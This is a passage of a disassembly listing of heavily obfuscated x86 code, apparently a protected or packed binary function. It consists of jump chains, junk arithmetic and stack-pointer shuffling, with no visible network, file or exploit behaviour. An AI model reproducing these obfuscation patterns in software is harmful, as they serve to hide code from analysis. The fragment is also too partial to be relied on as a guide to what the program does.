[esp-0Eh+arg_A] jmp loc_598ACD ; --------------------------------------------------------------------------- loc_5A231D: ; CODE XREF: sub_57DD3A+15F42j push ecx jmp loc_590227 ; --------------------------------------------------------------------------- loc_5A2323: ; CODE XREF: sub_57DD3A+1E5F4j mov ebx, 5173488Fh shr ebx, 6 and ebx, 7607418Fh not ebx jmp loc_5A0D4F ; --------------------------------------------------------------------------- loc_5A2338: ; CODE XREF: sub_57DD3A+13A4Cj neg ebx xor ebx, 229C3AC7h push esi mov esi, 43C86798h shl esi, 5 xchg ecx, esi inc ecx xchg ecx, esi push ebp mov ebp, 64331076h jmp loc_59C4DD ; --------------------------------------------------------------------------- loc_5A2359: ; CODE XREF: sub_57DD3A+1E98Ej mov edx, [esp+2Ch+var_2E+2] add esp, 4 push ebx sub esp, 4 mov [esp+30h+var_32+2], edx mov dl, 66h mov bl, dl pop edx jmp loc_59DD7C ; --------------------------------------------------------------------------- loc_5A2373: ; CODE XREF: sub_57DD3A+1961Fj mov [esp+50h+var_50], esi mov esi, 4 add edi, esi jmp loc_594655 ; --------------------------------------------------------------------------- loc_5A2382: ; CODE XREF: sub_57DD3A+134F2j push eax push 677Ch mov [esp+4Ah+var_4C+2], ebx push eax jmp loc_5946E8 ; --------------------------------------------------------------------------- loc_5A2391: ; CODE XREF: sub_57DD3A+1FA59j or eax, 5DB632C8h xor eax, 0A0414D24h sub ebp, eax mov eax, [esp+6+var_8+2] jmp loc_5A28E2 ; --------------------------------------------------------------------------- loc_5A23A5: ; CODE XREF: sub_57DD3A+11FE2j and edx, 19C825BCh shl edx, 2 xor edx, 351FC7C1h push esi mov esi, 6F030B69h add ebp, esi mov esi, [esp+18h+var_1A+2] add esp, 4 add ebp, 2D55248Fh add ebp, edx sub ebp, 2D55248Fh sub ebp, 6F030B69h jmp loc_58F9CE ; --------------------------------------------------------------------------- loc_5A23DB: ; CODE XREF: sub_57DD3A+1B8AAj pop esi sub edi, 43621C4Eh add edi, ebp add edi, 43621C4Eh pop ebp xchg edi, [esp+28h+var_2A+2] jmp loc_592783 ; --------------------------------------------------------------------------- loc_5A23F3: ; CODE XREF: sub_57DD3A+231E3j pop esi sub esp, 4 mov [esp+10h+var_12+2], edi push esi push 1966h mov [esp+18h+var_1A+2], ebp push esi mov esi, 0CF86B4Ah mov ebp, 0CF86B4Eh jmp loc_59EAFA ; --------------------------------------------------------------------------- loc_5A2413: ; CODE XREF: sub_57DD3A+13896j sub al, dh sub al, 75h push [esp+8+var_8] pop edx push ecx push 91Bh push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+14h+var_16+2] pop esp push esp pop [esp+14h+var_16+2] jmp loc_59CE48 ; --------------------------------------------------------------------------- loc_5A243D: ; CODE XREF: sub_57DD3A+1DDBFj sub eax, edx mov edx, [esp+56h+var_58+2] add esp, 4 jmp loc_593934 ; --------------------------------------------------------------------------- loc_5A244A: ; CODE XREF: sub_57DD3A+17922j neg edi push ecx mov ecx, 0D285B4Eh add ecx, 0E2A854C9h jmp loc_58F915 ; --------------------------------------------------------------------------- loc_5A245D: ; CODE XREF: sub_57DD3A+1371Cj push 338Dh jmp loc_59E1C4 ; --------------------------------------------------------------------------- loc_5A2467: ; CODE XREF: sub_57DD3A+10B4Bj push edx jmp loc_599550 ; --------------------------------------------------------------------------- loc_5A246D: ; CODE XREF: sub_57DD3A+1D489j add ecx, 2A5537A4h pop ebx jmp loc_59521B ; --------------------------------------------------------------------------- loc_5A2479: ; CODE XREF: sub_57DD3A+13E07j push edi mov edi, 4 mov ebp, edi pop edi jmp loc_5A13BA ; --------------------------------------------------------------------------- loc_5A2487: ; CODE XREF: sub_57DD3A+13E97j mov esi, esp push edx mov edx, 4 add esi, edx pop edx add esi, 4 xchg esi, [esp+4Ah+var_4C+2] mov esp, [esp+4Ah+var_4C+2] add esp, 4 push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_59188E ; --------------------------------------------------------------------------- loc_5A24B8: ; CODE XREF: sub_57DD3A+12E82j add ecx, 4 sub ecx, 4 xchg ecx, [esp+58h+var_58] pop esp mov [esp+54h+var_54], ebp mov ebp, 11E0207Bh add esi, ebp mov ebp, [esp+54h+var_54] add esp, 4 mov edx, [esp+50h+var_50] jmp loc_59CA5F ; --------------------------------------------------------------------------- loc_5A24E0: ; CODE XREF: sub_57DD3A+14A16j pop [esp+4Ch+var_4C] jmp loc_59E8C0 ; --------------------------------------------------------------------------- loc_5A24E8: ; CODE XREF: sub_57DD3A+1BA86j push edx jmp loc_591DE1 ; --------------------------------------------------------------------------- loc_5A24EE: ; CODE XREF: sub_57DD3A+178B8j mov bh, 33h mov dl, bh push [esp+54h+var_54] jmp loc_5A2EE7 ; --------------------------------------------------------------------------- loc_5A24FA: ; CODE XREF: sub_57DD3A+219DBj mov esp, [esp+12h+var_12] cmp cl, al pushf jmp loc_58EE1D ; --------------------------------------------------------------------------- loc_5A2505: ; CODE XREF: sub_57DD3A+1B55Aj shr ebp, 3 or ebp, 37B22878h push esi mov esi, 2F657FAFh or ebp, esi pop esi jmp loc_59674F ; --------------------------------------------------------------------------- loc_5A251C: ; CODE XREF: sub_57DD3A+21E67j xchg edx, [esp+4Eh+var_50+2] mov esp, [esp+4Eh+var_50+2] sub esp, 4 mov [esp+52h+var_54+2], esi jmp loc_5917C1 ; --------------------------------------------------------------------------- loc_5A252D: ; CODE XREF: sub_57DD3A+136D5j pop ecx sub dl, 52h sub al, dl pop edx add al, bh add al, 0AEh jmp loc_5963AB ; --------------------------------------------------------------------------- loc_5A253D: ; CODE XREF: sub_57DD3A+25439j add eax, 10E220A8h add eax, ebp sub eax, 10E220A8h pop ebp jmp loc_5A32BA ; --------------------------------------------------------------------------- loc_5A254F: ; CODE XREF: sub_57DD3A+1E700j xor [esp+88h+var_88], edx xor edx, [esp+88h+var_88] mov esp, [esp+88h+var_88] mov word ptr [esp+88h+var_88], ax jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5A2561: ; CODE XREF: sub_57DD3A+22763j pop esp sub ebp, 64E3B6D4h add edx, 64BA7AF0h add edx, ebp jmp loc_593981 ; --------------------------------------------------------------------------- loc_5A2575: ; CODE XREF: sub_57DD3A+1910Bj mov esi, 0AFE5539Fh sub ecx, esi pop esi add eax, ecx pop ecx add eax, ecx push esi jmp loc_59DA5E ; --------------------------------------------------------------------------- loc_5A2588: ; CODE XREF: sub_57DD3A+23B2Bj pop ebx add edi, edx pop edx push 6C4Fh jmp loc_59F0B8 ; --------------------------------------------------------------------------- loc_5A2596: ; CODE XREF: sub_57DD3A+17679j add esp, 4 jmp loc_5981A2 ; --------------------------------------------------------------------------- loc_5A259E: ; CODE XREF: sub_57DD3A+18BC6j xor ebp, [esp+1Ch+var_1E+2] pop esp jmp loc_59E7C2 ; --------------------------------------------------------------------------- loc_5A25A7: ; CODE XREF: sub_57DD3A+17C04j xor esi, 0DBEFB0AAh add eax, esi mov esi, [esp+3Eh+var_3E] jmp loc_597BDE ; --------------------------------------------------------------------------- loc_5A25B7: ; CODE XREF: sub_57DD3A+166EAj sub eax, edx sub eax, 0EE23E87h mov edx, [esp+18h+var_1A+2] jmp loc_593404 ; --------------------------------------------------------------------------- loc_5A25C6: ; CODE XREF: sub_57DD3A+22357j sub al, bl push ecx mov cl, 0EAh jmp loc_5929D0 ; --------------------------------------------------------------------------- loc_5A25D0: ; CODE XREF: sub_57DD3A+1BFCEj not dword ptr [esp+0] pop edi jmp loc_598143 ; --------------------------------------------------------------------------- loc_5A25D9: ; CODE XREF: sub_57DD3A+2533Cj xor ah, 0E8h or ch, ah pop eax xchg dl, ch neg dl jmp loc_595100 ; --------------------------------------------------------------------------- loc_5A25E8: ; CODE XREF: sub_57DD3A+1D787j not esi sub esi, 0FA1E1B8Fh jmp loc_59A19E ; --------------------------------------------------------------------------- loc_5A25F5: ; CODE XREF: sub_57DD3A+1994Ej sub al, dl sub al, 15h mov edx, [esp+86h+var_88+2] add esp, 4 sub al, bl push edx mov dl, 0BFh shr dl, 8 sub dl, 5Ah add al, dl pop edx sub al, 6Ah push ecx sub esp, 4 jmp loc_5992E6 ; --------------------------------------------------------------------------- loc_5A261E: ; CODE XREF: sub_57DD3A+1AA67j xor eax, ecx pop ecx push 550Bh mov [esp+60h+var_60], esi mov esi, eax push 38C9h mov [esp+64h+var_64], esi jmp loc_59A5A8 ; --------------------------------------------------------------------------- loc_5A2638: ; CODE XREF: sub_57DD3A+1838Bj pop edi add eax, 1ACD2660h jmp loc_59268E ; --------------------------------------------------------------------------- loc_5A2643: ; CODE XREF: sub_57DD3A+1F565j sub esi, 0FFFFFFFFh push esi not [esp+8+var_8] pop esi push ebp mov ebp, 3E0B511Ah jmp loc_59F623 ; --------------------------------------------------------------------------- loc_5A2656: ; CODE XREF: sub_57DD3A+1EB95j mov bl, 87h xor bl, ch pop ecx jmp loc_5964C2 ; --------------------------------------------------------------------------- loc_5A2660: ; CODE XREF: sub_57DD3A+15225j mov word ptr [esp+6Eh+var_70+2], ax jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5A2669: ; CODE XREF: sub_57DD3A+196EDj xchg ebx, [esp+28h+var_2A+2] jmp loc_59DFD7 ; --------------------------------------------------------------------------- loc_5A2671: ; CODE XREF: sub_57DD3A+1A235j not edi jmp loc_5A1589 ; --------------------------------------------------------------------------- loc_5A2678: ; CODE XREF: sub_57DD3A+1E275j add esp, 4 pop [esp+30h+var_32+2] mov esp, [esp+2Ch+var_2E+2] jmp loc_58EEE1 ; --------------------------------------------------------------------------- loc_5A2686: ; CODE XREF: sub_57DD3A+12D16j pop ecx push 63BBh mov [esp+12h+var_12], ebx mov ebx, esp push eax mov eax, 7DB3430Bh inc eax jmp loc_59C50A ; --------------------------------------------------------------------------- loc_5A269D: ; CODE XREF: sub_57DD3A+18AAEj push ax jmp loc_599137 ; --------------------------------------------------------------------------- loc_5A26A4: ; CODE XREF: sub_57DD3A+13092j mov [esp+58h+var_58], edi push esi push 5F11779Fh jmp loc_5977F8 ; --------------------------------------------------------------------------- loc_5A26B2: ; CODE XREF: sub_57DD3A+181D2j mov ebx, [esp+1Ch+var_1E+2] jmp loc_5A2A15 ; --------------------------------------------------------------------------- loc_5A26BA: ; CODE XREF: sub_57DD3A+1EEE0j add edx, 4 push esi sub esp, 4 mov [esp+24h+var_26+2], ebp mov ebp, esp add ebp, 4 jmp loc_58FA91 ; --------------------------------------------------------------------------- loc_5A26D7: ; CODE XREF: sub_57DD3A+177F7j add esi, 4E0F3D08h pop ebx jmp loc_59E292 ; --------------------------------------------------------------------------- loc_5A26E3: ; CODE XREF: sub_57DD3A+1AC52j mov eax, ebp jmp loc_59A944 ; --------------------------------------------------------------------------- loc_5A26EA: ; CODE XREF: sub_57DD3A+1EECDj push ecx mov ecx, esp add ecx, 4 jmp loc_59FEEA ; --------------------------------------------------------------------------- mov ax, word ptr [esp+1Ch+var_1E+2] sub esp, 4 mov [esp+20h+var_22+2], ebx sub esp, 4 mov [esp+24h+var_26+2], esp sub esp, 4 mov [esp+28h+var_2A+2], ecx push 4 pop ecx add [esp+28h+var_26+2], ecx jmp loc_58F8B8 ; --------------------------------------------------------------------------- loc_5A2723: ; CODE XREF: sub_57DD3A+218F4j mov ebp, ebx mov ecx, ebp mov ebp, [esp+2Ah+var_2A] jmp loc_59E46F ; --------------------------------------------------------------------------- loc_5A272F: ; CODE XREF: sub_57DD3A+17E24j add ecx, 494C22F0h add ecx, 581C6645h add ebp, 0C1F66D8h add ebp, ecx sub ebp, 0C1F66D8h pop ecx pop esi add ebp, 0FFFFFFFFh dec ebp xor ebp, 6F5121F1h jmp loc_59AD35 ; --------------------------------------------------------------------------- loc_5A275A: ; CODE XREF: sub_57DD3A+17AEEj mov [esp+46h+var_46], edx sub esp, 4 mov [esp+4Ah+var_4C+2], esp add [esp+4Ah+var_4C+2], 4 mov edx, [esp+4Ah+var_4C+2] push 2676h mov [esp+4Eh+var_50+2], edi mov edi, esp push eax mov eax, 3BB31AD0h jmp loc_5A0DE4 ; --------------------------------------------------------------------------- loc_5A2782: ; CODE XREF: sub_57DD3A+22188j not eax push ecx mov ecx, 64235F45h sub eax, ecx pop ecx add esi, eax pop eax push edi mov edi, 5FE56D8Eh neg edi add edi, 4F610C44h sub edi, 0EF7B9EB2h add esi, edi pop edi xchg esi, [esp+1Ah+var_1A] pop esp push ebp jmp loc_594A45 ; --------------------------------------------------------------------------- loc_5A27B1: ; CODE XREF: sub_57DD3A+1DF97j not edi xchg edi, ebp push esi push ebp mov ebp, 7FA6577Bh push eax jmp loc_5943F4 ; --------------------------------------------------------------------------- loc_5A27C2: ; CODE XREF: sub_57DD3A+11AF9j xor edx, [esp+84h+var_84] xor [esp+84h+var_84], edx xor edx, [esp+84h+var_84] pop esp push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+84h+var_84] mov esp, [esp+84h+var_84] mov [esp+84h+var_84], ecx push esi push esp jmp loc_58FFF2 ; --------------------------------------------------------------------------- loc_5A27EB: ; CODE XREF: sub_57DD3A+1F943j push esp pop esi push edx sub esp, 4 mov [esp+42h+var_42], ebx jmp loc_596A77 ; --------------------------------------------------------------------------- loc_5A27FC: ; CODE XREF: sub_57DD3A+12085j add edx, edi pop edi add edx, 4 xchg edx, [esp+36h+var_36] mov esp, [esp+36h+var_36] jmp loc_5949D1 ; --------------------------------------------------------------------------- loc_5A280D: ; CODE XREF: sub_57DD3A+1E602j xor edi, 50CB18D8h sub eax, edi mov edi, [esp+54h+var_54] add esp, 4 push eax pop dword ptr [edx+30h] mov eax, [esp+50h+var_50] jmp loc_58EC1C ; --------------------------------------------------------------------------- loc_5A2827: ; CODE XREF: sub_57DD3A+1AF9Dj add esp, 4 push 1138h jmp loc_58E5E4 ; --------------------------------------------------------------------------- loc_5A2837: ; CODE XREF: sub_57DD3A+1E438j sub [esp+6Ch+var_6C], 6F737378h pop ecx add ecx, 6F737378h push edi mov edi, ecx mov esi, edi pop edi pop ecx mov ebx, [esp+64h+var_64] jmp loc_59DE22 ; --------------------------------------------------------------------------- loc_5A2854: ; CODE XREF: sub_57DD3A+15BD6j mov [esp+60h+var_60], ebx push esp pop ebx jmp loc_59ECCB ; --------------------------------------------------------------------------- loc_5A285E: ; CODE XREF: sub_57DD3A+23824j mov edi, [esp+28h+var_2A+2] add esp, 4 not eax not eax push esi mov esi, 7F2B32E6h jmp loc_594497 ; --------------------------------------------------------------------------- loc_5A2873: ; CODE XREF: sub_57DD3A+18E65j mov esi, 4C885FE1h add esi, 0B377A023h add eax, esi pop esi push edi jmp loc_58E543 ; --------------------------------------------------------------------------- loc_5A2887: ; CODE XREF: sub_57DD3A+1C2ECj neg dl add dl, 5Ah mov bl, dl pop edx jmp loc_59D189 ; --------------------------------------------------------------------------- loc_5A2894: ; CODE XREF: sub_57DD3A+1E6F2j mov ebx, 2EA06488h mov esi, 4ED28C5Dh add esi, 2C285B1Ah add esi, ebx sub esi, 2C285B1Ah pop ebx push 1952h mov [esp+88h+var_88], ecx mov ecx, 21DC0868h sub esi, 406515A0h sub esi, ecx add esi, 406515A0h pop ecx jmp loc_59ED90 ; --------------------------------------------------------------------------- loc_5A28CE: ; CODE XREF: sub_57DD3A+1DC51j jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5A28D3: ; CODE XREF: sub_57DD3A+242DFj sub ebx, 4 xchg ebx, [esp+16h+var_16] pop esp mov [esp+12h+var_12], eax jmp loc_59014A ; --------------------------------------------------------------------------- loc_5A28E2: ; CODE XREF: sub_57DD3A+24666j add esp, 4 add ebp, 0EBFF739Bh or [edi+1Ch], ebp push [esp+2+var_4+2] mov ebp, [esp+6+var_8+2] add esp, 4 add esp, 4 jmp loc_599E3C ; --------------------------------------------------------------------------- loc_5A2902: ; CODE XREF: sub_57DD3A+2252Ej mov ebp, [esp+5Eh+var_60+2] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+62h+var_64+2] pop esp add ebp, 4 add ebp, 4 xchg ebp, [esp+5Eh+var_60+2] pop esp push edx mov edx, esp add edx, 4 jmp loc_59B144 ; --------------------------------------------------------------------------- loc_5A2933: ; CODE XREF: sub_57DD3A+17919j push ebx mov ebx, 2D5D6518h sub edi, ebx jmp loc_59A562 ; --------------------------------------------------------------------------- loc_5A2940: ; CODE XREF: sub_57DD3A+120FEj add ecx, ebp pop ebp push 147Bh mov [esp+2Ah+var_2A], esi mov esi, 2 push edi jmp loc_5A04F3 ; --------------------------------------------------------------------------- loc_5A2956: ; CODE XREF: sub_57DD3A+14FA4j add esp, 4 xchg ebx, [esp+5Ch+var_5C] mov esp, [esp+5Ch+var_5C] push 2AAAh mov [esp+60h+var_60], ecx sub esp, 4 jmp loc_595573 ; --------------------------------------------------------------------------- loc_5A2972: ; CODE XREF: sub_57DD3A+1775Cj pop esi add edx, ebp pop ebp inc edx xor edx, 6CA13A97h or edx, 1E0779FCh xor edx, 5E3F7BFAh add ecx, edx mov edx, [esp+3Eh+var_3E] push edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp+42h+var_42] jmp loc_594A53 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+42h+var_42] jmp loc_5A1A3F ; --------------------------------------------------------------------------- loc_5A29AE: ; CODE XREF: sub_57DD3A+17AA6j push 24CDh jmp loc_59B592 ; --------------------------------------------------------------------------- loc_5A29B8: ; CODE XREF: sub_57DD3A+18F2Bj add esi, edi mov edi, [esp+4Ch+var_4C] add esp, 4 jmp loc_5941C4 ; --------------------------------------------------------------------------- loc_5A29C5: ; CODE XREF: sub_57DD3A+13F98j push ebp push esi mov esi, 22BA5E16h not esi or esi, 2E97694Bh neg esi sub esi, 321D2B15h xor esi, 0CE0AEB02h jmp loc_59C7CB ; --------------------------------------------------------------------------- loc_5A29E7: ; CODE XREF: sub_57DD3A+19C8Bj sub ebx, 4 jmp loc_59A95A ; --------------------------------------------------------------------------- loc_5A29EF: ; CODE XREF: sub_57DD3A+150ABj mov eax, [esp+1Eh+var_1E] jmp loc_5A1B34 ; --------------------------------------------------------------------------- loc_5A29F7: ; CODE XREF: sub_57DD3A+1316Cj dec ecx xor ecx, 4C4E7213h jmp loc_59A13A ; --------------------------------------------------------------------------- loc_5A2A03: ; CODE XREF: sub_57DD3A+1440Dj mov [esp+1Ah+var_1A], esi mov esi, 4 add [esp+1Ah+var_16], esi pop esi jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5A2A15: ; CODE XREF: sub_57DD3A+2497Bj push ebx push esp jmp loc_59EF9B ; --------------------------------------------------------------------------- loc_5A2A1C: ; CODE XREF: sub_57DD3A+1134Aj sub [esp+38h+var_36+2], 26E52447h push edx jmp loc_5A19A1 ; --------------------------------------------------------------------------- loc_5A2A2A: ; CODE XREF: sub_57DD3A+22F31j xchg edi, ebp sub edi, 0FFFFFFFFh xchg edi, ebp xor ebp, 1C8F4BE3h add edi, ebp mov ebp, [esp+58h+var_58] jmp loc_5A2FEF ; --------------------------------------------------------------------------- loc_5A2A44: ; CODE XREF: sub_57DD3A+1E3E3j push 1CBCh mov [esp+8Ch+var_8C], ebx push ebp mov ebp, 58BD21CEh jmp loc_599493 ; --------------------------------------------------------------------------- loc_5A2A57: ; CODE XREF: sub_57DD3A+21DD0j pop ecx jmp loc_59E795 ; --------------------------------------------------------------------------- loc_5A2A5D: ; CODE XREF: sub_57DD3A+203FFj sub ebx, 70346F3Ah pop edi xor edx, eax jmp loc_59A9F3 ; --------------------------------------------------------------------------- loc_5A2A6B: ; CODE XREF: sub_57DD3A+1EE8Cj push ebp push 61E3h mov [esp+3Eh+var_3E], eax mov eax, 6DC44FDAh mov ebp, eax mov eax, [esp+3Eh+var_3E] jmp loc_596FCF ; --------------------------------------------------------------------------- loc_5A2A83: ; CODE XREF: sub_57DD3A+1E7CBj or ebx, ecx jmp loc_5A0C1C ; --------------------------------------------------------------------------- loc_5A2A8A: ; CODE XREF: sub_57DD3A+1859Ej mov ebp, 4676AC0h jmp loc_59FEE4 ; --------------------------------------------------------------------------- loc_5A2A94: ; CODE XREF: sub_57DD3A+14B4Dj mov [esp+4+var_4], ecx jmp loc_597BD1 ; --------------------------------------------------------------------------- loc_5A2A9C: ; CODE XREF: sub_57DD3A+1ED9Ej pop [esp+44h+var_46+2] mov esp, [esp+40h+var_42+2] push ebp mov ebp, esp push 25E2h mov [esp+0], ecx mov ecx, 4E590808h sub ecx, 1 jmp loc_598670 ; --------------------------------------------------------------------------- loc_5A2ABA: ; CODE XREF: sub_57DD3A+25494j mov ebp, 37C0007Ah or ecx, ebp mov ebp, [esp+0] jmp loc_5908CC ; --------------------------------------------------------------------------- loc_5A2AC9: ; CODE XREF: sub_57DD3A+15D0Ej pop ecx pop [esp+20h+var_22+2] pop esp mov [esp+18h+var_1A+2], eax jmp loc_598706 ; --------------------------------------------------------------------------- loc_5A2AD6: ; CODE XREF: sub_57DD3A+218ECj sub ebp, 63077D70h add ebp, 524BCDFFh sub esi, ebp pop ebp sub ebx, esi pop esi add ecx, 3A285F45h add ecx, ebx sub ecx, 3A285F45h push [esp+4+var_4] pop ebx add esp, 4 xor ecx, [esp+0] xor [esp+0], ecx jmp loc_59DADC ; --------------------------------------------------------------------------- loc_5A2B0B: ; CODE XREF: sub_57DD3A+1E95Aj mov [esp+54h+var_54], edi jmp loc_5944BF ; --------------------------------------------------------------------------- loc_5A2B13: ; CODE XREF: sub_57DD3A+21C0Bj mov esi, 4 add [esp+4], esi jmp loc_59ACE5 ; --------------------------------------------------------------------------- loc_5A2B21: ; CODE XREF: sub_57DD3A+19616j push esp mov ebp, [esp+58h+var_58] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+5Ch+var_5C] pop esp push esi mov esi, 7E4A4146h jmp loc_592E3E ; --------------------------------------------------------------------------- loc_5A2B3F: ; CODE XREF: sub_57DD3A+127CFj mov eax, 57591A19h dec eax sub eax, 66C931B7h jmp loc_5A151C ; --------------------------------------------------------------------------- loc_5A2B4F: ; CODE XREF: sub_57DD3A+138EDj pop ecx push [esp+4+var_4] pop eax jmp loc_59FDD2 ; --------------------------------------------------------------------------- loc_5A2B59: ; CODE XREF: sub_57DD3A+1090Dj pop ebp push esi mov esi, 639B1E05h xor esi, 1264588h shl esi, 8 xor esi, 31077F48h or esi, 7D835EA4h push ecx push 0FDDFFEE8h pop ecx xor esi, ecx pop ecx jmp loc_5903D2 ; --------------------------------------------------------------------------- loc_5A2B84: ; CODE XREF: sub_57DD3A+1A187j jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5A2B89: ; CODE XREF: sub_57DD3A+22DA3j sub ebp, eax pop eax sub ebp, 6F088190h sub ecx, ebp pop ebp jmp loc_599F3A ; --------------------------------------------------------------------------- loc_5A2B9A: ; CODE XREF: sub_57DD3A+24FA8j pop ecx push ecx mov ecx, 4 jmp loc_597A44 ; --------------------------------------------------------------------------- loc_5A2BA6: ; CODE XREF: sub_57DD3A+18566j add esi, ebp pop ebp jmp loc_594F43 ; --------------------------------------------------------------------------- loc_5A2BAE: ; CODE XREF: sub_57DD3A+1AC6Bj push ax mov ah, 7 xor dl, ah jmp loc_5971E8 ; --------------------------------------------------------------------------- loc_5A2BB9: ; CODE XREF: sub_57DD3A+19FC2j pop edx add bh, ah pop eax push ecx push edx jmp loc_595569 ; --------------------------------------------------------------------------- loc_5A2BC4: ; CODE XREF: sub_57DD3A+1F7FCj pop edi push edx mov edx, 62B572FDh jmp loc_59F728 ; --------------------------------------------------------------------------- loc_5A2BD0: ; CODE XREF: sub_57DD3A+1C9B1j mov esi, 7A2172BFh push ecx mov ecx, 735A1812h sub esi, ecx jmp loc_5A192C ; --------------------------------------------------------------------------- loc_5A2BE2: ; CODE XREF: sub_57DD3A+1CE04j push ecx jmp loc_594F9E ; --------------------------------------------------------------------------- loc_5A2BE8: ; CODE XREF: sub_57DD3A+10BD8j sub edx, edi pop edi sub esi, edx pop edx push edx mov edx, 13F84780h jmp loc_59745B ; --------------------------------------------------------------------------- loc_5A2BF9: ; CODE XREF: sub_57DD3A+137CFj push 22E1h mov [esp+44h+var_46+2], edx mov edx, 60292F25h jmp loc_5A0221 ; --------------------------------------------------------------------------- loc_5A2C0B: ; CODE XREF: sub_57DD3A+12AE6j mov [esp+28h+var_2A+2], ecx push 2BD84D00h jmp loc_58F9DD ; --------------------------------------------------------------------------- loc_5A2C18: ; CODE XREF: sub_57DD3A+19037j add esp, 4 xor ecx, [esp+54h+var_54] xor [esp+54h+var_54], ecx xor ecx, [esp+54h+var_54] mov esp, [esp+54h+var_54] jmp loc_5997EF ; --------------------------------------------------------------------------- loc_5A2C2F: ; CODE XREF: sub_57DD3A+18491j pop eax push 1EC5h mov [esp+10h+var_12+2], ecx mov ecx, 4 add edx, ecx mov ecx, [esp+10h+var_12+2] add esp, 4 xor edx, [esp+0Ch+var_E+2] xor [esp+0Ch+var_E+2], edx xor edx, [esp+0Ch+var_E+2] mov esp, [esp+0Ch+var_E+2] jmp loc_58F0F5 ; --------------------------------------------------------------------------- loc_5A2C59: ; CODE XREF: sub_57DD3A+1DA0Aj push ebx mov ebx, esp push eax mov eax, 4 add ebx, eax pop eax push ecx mov ecx, 4 add ebx, ecx pop ecx xchg ebx, [esp+78h+var_78] mov esp, [esp+78h+var_78] jmp loc_5A0DB2 ; --------------------------------------------------------------------------- loc_5A2C79: ; CODE XREF: sub_57DD3A+25030j add ecx, 4 xchg ecx, [esp+78h+var_78] pop esp sub esp, 4 mov [esp+78h+var_78], edi jmp loc_59CA6A ; --------------------------------------------------------------------------- loc_5A2C91: ; CODE XREF: sub_57DD3A+23FF1j pop [esp+0Ch+var_E+2] pop esp jmp loc_5996AB ; --------------------------------------------------------------------------- loc_5A2C9A: ; CODE XREF: sub_57DD3A+1E239j mov [esp+8+var_8], eax push 0A69h mov [esp+0Ch+var_E+2], esp add [esp+0Ch+var_E+2], 4 mov eax, [esp+0Ch+var_E+2] add esp, 4 push esi mov esi, 3A5E149Bh dec esi neg esi or esi, 4031011Bh jmp loc_58EE89 ; --------------------------------------------------------------------------- loc_5A2CC3: ; CODE XREF: sub_57DD3A+1B3C1j pop ecx xchg ebx, [esp+28h+var_2A+2] pop esp jmp loc_5A2EB8 ; --------------------------------------------------------------------------- loc_5A2CCD: ; CODE XREF: sub_57DD3A+20794j sub edi, ebx jmp loc_590999 ; --------------------------------------------------------------------------- loc_5A2CD4: ; CODE XREF: sub_57DD3A+10986j mov [esp+18h+var_1A+2], ebp mov ebp, 6326BBh jmp loc_59688E ; --------------------------------------------------------------------------- loc_5A2CE1: ; CODE XREF: sub_57DD3A+1A64Cj pop edx jmp loc_5A2B9A ; --------------------------------------------------------------------------- loc_5A2CE7: ; CODE XREF: sub_57DD3A+2178Bj mov [esp+5Ah+var_5C+2], ebp jmp loc_58EA62 ; --------------------------------------------------------------------------- loc_5A2CEF: ; CODE XREF: sub_57DD3A+1999Aj add ebp, 4 add ebp, 4 xchg ebp, [esp+18h+var_1A+2] mov esp, [esp+18h+var_1A+2] push edi mov edi, esp add edi, 4 push ecx mov ecx, 4 sub edi, ecx mov ecx, [esp+20h+var_22+2] add esp, 4 jmp loc_597FED ; --------------------------------------------------------------------------- loc_5A2D1D: ; CODE XREF: sub_57DD3A+194C9j xor ecx, edi jmp loc_5953AF ; --------------------------------------------------------------------------- loc_5A2D24: ; CODE XREF: sub_57DD3A+1F00Dj dec esi shl esi, 1 inc esi sub esi, 12F44B42h xor esi, 0A66FCBD6h jmp loc_59F0D1 ; --------------------------------------------------------------------------- loc_5A2D39: ; CODE XREF: sub_57DD3A+17CE0j mov esp, [esp+1Ch+var_1E+2] movsx cx, al jmp loc_59FCFF ; --------------------------------------------------------------------------- loc_5A2D45: ; CODE XREF: sub_57DD3A+1D939j add ebp, ecx jmp loc_592BEF ; --------------------------------------------------------------------------- loc_5A2D4C: ; CODE XREF: sub_57DD3A+1A4B7j and ecx, 9887732h neg ecx and ecx, 63730D6Ah neg ecx add ecx, 63730D4Ch jmp loc_596814 ; --------------------------------------------------------------------------- loc_5A2D67: ; CODE XREF: sub_57DD3A+22F6Fj add ecx, eax pop eax jmp loc_5A2C79 ; --------------------------------------------------------------------------- loc_5A2D6F: ; CODE XREF: sub_57DD3A+13531j xor ebx, edi xor edi, ebx xor ebx, edi not edi xchg edi, ebx shr ebx, 5 push esi jmp loc_59EF58 ; --------------------------------------------------------------------------- loc_5A2D82: ; CODE XREF: sub_57DD3A+1A5B0j mov [esp+22h+var_22], edx jmp loc_58E62F ; --------------------------------------------------------------------------- loc_5A2D8A: ; CODE XREF: sub_57DD3A+12DC0j push 0E61h mov [esp+6Ch+var_6C], edx push ebx pop edx mov ebx, [esp+6Ch+var_6C] jmp loc_590B70 ; --------------------------------------------------------------------------- loc_5A2D9C: ; CODE XREF: sub_57DD3A+1DD79j pop ebp sub eax, 45CE0EA9h sub eax, ebp push 0EF4h mov [esp+3Ah+var_3A], ebx jmp loc_5A0154 ; --------------------------------------------------------------------------- loc_5A2DB1: ; CODE XREF: sub_57DD3A+190C8j shr edx, 5 sub edx, 0C1AA90EBh sub eax, edx pop edx mov ecx, [eax] mov eax, [esp+4Ah+var_4C+2] push ecx mov ecx, esp jmp loc_59078D ; --------------------------------------------------------------------------- loc_5A2DCA: ; CODE XREF: sub_57DD3A+155D1j sub eax, 0FFFFFFFFh jmp loc_5921A3 ; --------------------------------------------------------------------------- loc_5A2DD4: ; CODE XREF: sub_57DD3A+13E0Fj sub al, 0CDh jmp loc_5A18FB ; --------------------------------------------------------------------------- loc_5A2DDB: ; CODE XREF: sub_57DD3A+18924j and bl, 0A5h xor bl, 6Fh or dl, bl jmp loc_596F80 ; --------------------------------------------------------------------------- loc_5A2DE8: ; CODE XREF: 